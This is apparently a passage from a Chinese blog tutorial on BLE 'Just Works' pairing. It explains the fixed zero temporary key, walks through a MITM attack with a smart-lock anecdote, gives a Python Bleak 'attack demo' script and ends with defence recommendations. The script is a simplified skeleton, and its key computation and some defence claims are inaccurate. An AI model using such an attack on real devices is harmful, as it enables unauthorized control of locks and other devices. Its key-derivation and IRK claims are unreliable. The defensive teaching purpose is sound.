6、Just Works配对漏洞:无认证配对风险

BLE的Just Works配对方式,说白了就是个「裸奔」模式。我刚开始研究蓝牙安全时,第一反应是——这玩意儿居然也能叫「配对」?

嗯,咱们先别急着吐槽。Just Works的设计初衷是为了用户体验。你想想看,一个蓝牙耳机每次连接都要输PIN码,谁受得了?所以BLE规范里就搞了个「无认证配对」,也就是Just Works。

6.1 无认证配对的风险

Just Works的核心问题在于——它压根不验证对方身份。配对过程中,双方交换的TK(临时密钥)固定为0。你没看错,就是0。

关键点:Just Works的TK值永远是0x0000000000000000(16字节全零)。这意味着任何攻击者都能轻松计算出后续的LTK(长期密钥)。

我在项目中遇到过好几次这样的情况:客户说「我们的蓝牙产品连接很快,用户体验很好」,我一问配对方式,果然是Just Works。然后我给他们演示了MITM攻击,他们脸色就变了。

具体来说,Just Works的风险体现在三个方面:

  • 无身份认证:配对过程中没有任何数字签名或证书验证
  • 密钥可预测:TK固定为0,导致LTK可被第三方计算
  • 加密形同虚设:虽然数据会加密,但密钥已被攻击者掌握

6.2 Just Works MITM攻击复现

攻击流程其实不复杂。我画了个图,你看一眼就明白了:

Just Works MITM攻击流程 设备A (受害者) 攻击者 (MITM) 设备B (受害者) 伪造连接请求 转发连接请求 发送配对请求 拦截并转发 接收配对请求 TK=0(固定) 计算LTK (已知TK=0) TK=0(固定) 攻击者通过固定TK=0计算出LTK,后续所有加密通信均可被解密 ⚠ 攻击者掌握全部密钥,通信完全透明

攻击步骤其实就三步:

  1. 嗅探发现:攻击者扫描BLE广播,找到正在尝试配对的两个设备
  2. 中间人劫持:同时伪造两个设备的身份,分别建立连接
  3. 密钥计算:由于TK=0,攻击者可以计算出所有会话密钥

⚠ 实际案例:我曾经在某个智能门锁产品上做过测试。门锁和手机用Just Works配对,我用一个树莓派Zero加一个nRF52840模块,花了不到10分钟就完成了MITM攻击。门锁的开关指令在我手里完全透明——想开就开,想关就关。

6.3 攻击代码示例(Python)

下面是我写的一个简化版攻击脚本。实际项目中要考虑的细节更多,但核心逻辑就这些:

#!/usr/bin/env python3
"""
Just Works MITM 攻击演示脚本
基于 Bleak 和 Scapy 库
"""

import asyncio
import struct
from bleak import BleakScanner, BleakClient
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# 固定TK值(Just Works专用)
TK_FIXED = b'\x00' * 16

class JustWorksMITM:
    def __init__(self):
        self.target_a = None  # 设备A
        self.target_b = None  # 设备B
        self.ltk = None       # 计算出的长期密钥
        
    async def scan_devices(self):
        """扫描BLE设备"""
        print("[*] 开始扫描BLE设备...")
        devices = await BleakScanner.discover()
        return devices
    
    def calculate_ltk(self, srand, mrand):
        """
        计算LTK(简化版)
        实际BLE规范中涉及S1和C1函数
        """
        # 在Just Works中,TK固定为0
        # LTK = AES-CMAC(TK, srand || mrand)
        # 这里用简化实现
        data = srand + mrand
        cipher = Cipher(algorithms.AES(TK_FIXED), modes.ECB())
        encryptor = cipher.encryptor()
        self.ltk = encryptor.update(data)[:16]
        print(f"[+] 计算LTK成功: {self.ltk.hex()}")
        return self.ltk
    
    async def mitm_attack(self, addr_a, addr_b):
        """
        执行MITM攻击
        """
        print(f"[*] 目标设备A: {addr_a}")
        print(f"[*] 目标设备B: {addr_b}")
        
        # 1. 连接到设备A(伪装成设备B)
        client_a = BleakClient(addr_a)
        await client_a.connect()
        print("[+] 已连接到设备A")
        
        # 2. 连接到设备B(伪装成设备A)
        client_b = BleakClient(addr_b)
        await client_b.connect()
        print("[+] 已连接到设备B")
        
        # 3. 拦截配对请求
        # 实际实现需要hook GATT操作
        # 这里展示逻辑流程
        print("[*] 等待配对请求...")
        
        # 4. 计算LTK
        srand = b'\x01' * 8   # 实际从配对请求中提取
        mrand = b'\x02' * 8   # 实际从配对响应中提取
        self.calculate_ltk(srand, mrand)
        
        # 5. 后续通信解密
        print("[*] 攻击完成,可以解密所有通信")
        
        # 保持连接
        await asyncio.sleep(60)
        
        await client_a.disconnect()
        await client_b.disconnect()

async def main():
    mitm = JustWorksMITM()
    
    # 扫描设备
    devices = await mitm.scan_devices()
    
    # 假设找到了两个目标设备
    # 实际使用中需要根据设备名或地址筛选
    target_a = "AA:BB:CC:DD:EE:01"
    target_b = "AA:BB:CC:DD:EE:02"
    
    await mitm.mitm_attack(target_a, target_b)

if __name__ == "__main__":
    asyncio.run(main())

💡 提示:这段代码是教学演示用的。实际攻击中,你还需要处理LL层的数据包拦截、STK的生成、加密连接的建立等细节。我建议你在自己的测试环境里跑一遍,感受一下Just Works到底有多脆弱。

6.4 防御策略

好了,问题摆在这儿了,怎么防?我总结了几个实用的策略:

防御策略 实现方式 安全等级 用户体验影响
使用Passkey Entry 配对时显示6位数字,用户确认 需用户交互
使用Numeric Comparison 显示6位数字,用户比对 需用户确认
OOB(带外)配对 通过NFC或二维码交换密钥 需额外硬件
应用层加密 在BLE加密之上再加一层加密 极高 开发成本高
绑定后启用MITM保护 配对后使用Identity Resolving Key 无影响

我个人最推荐的做法是——能不用Just Works就别用。你想想看,一个智能门锁用Just Works,跟没锁有什么区别?

如果实在没办法(比如设备没有显示屏也没有输入能力),那就必须在应用层做额外加密。我在一个IoT项目中就是这么干的——BLE层用Just Works,但所有数据在应用层用AES-256-GCM再加密一次。虽然增加了开发工作量,但至少保证了通信安全。

核心建议:

  • 有显示屏的设备 → 用Numeric Comparison
  • 有输入能力的设备 → 用Passkey Entry
  • 有NFC的设备 → 用OOB配对
  • 什么都没有 → 应用层加密 + Just Works(最后的选择)

我曾经帮一个客户做安全审计,他们的智能灯泡用的就是Just Works。我跟他们说:「你们这个灯泡,别人在楼下就能控制开关。」他们还不信,直到我现场演示了MITM攻击——灯泡在我手里一亮一灭,他们才意识到问题的严重性。

嗯,这就是Just Works的真相。方便是方便,但安全上就是个筛子。下一节我们会聊LE Secure Connections,看看它怎么解决这些问题。

公众号:蓝海资料掘金营,微信deep3321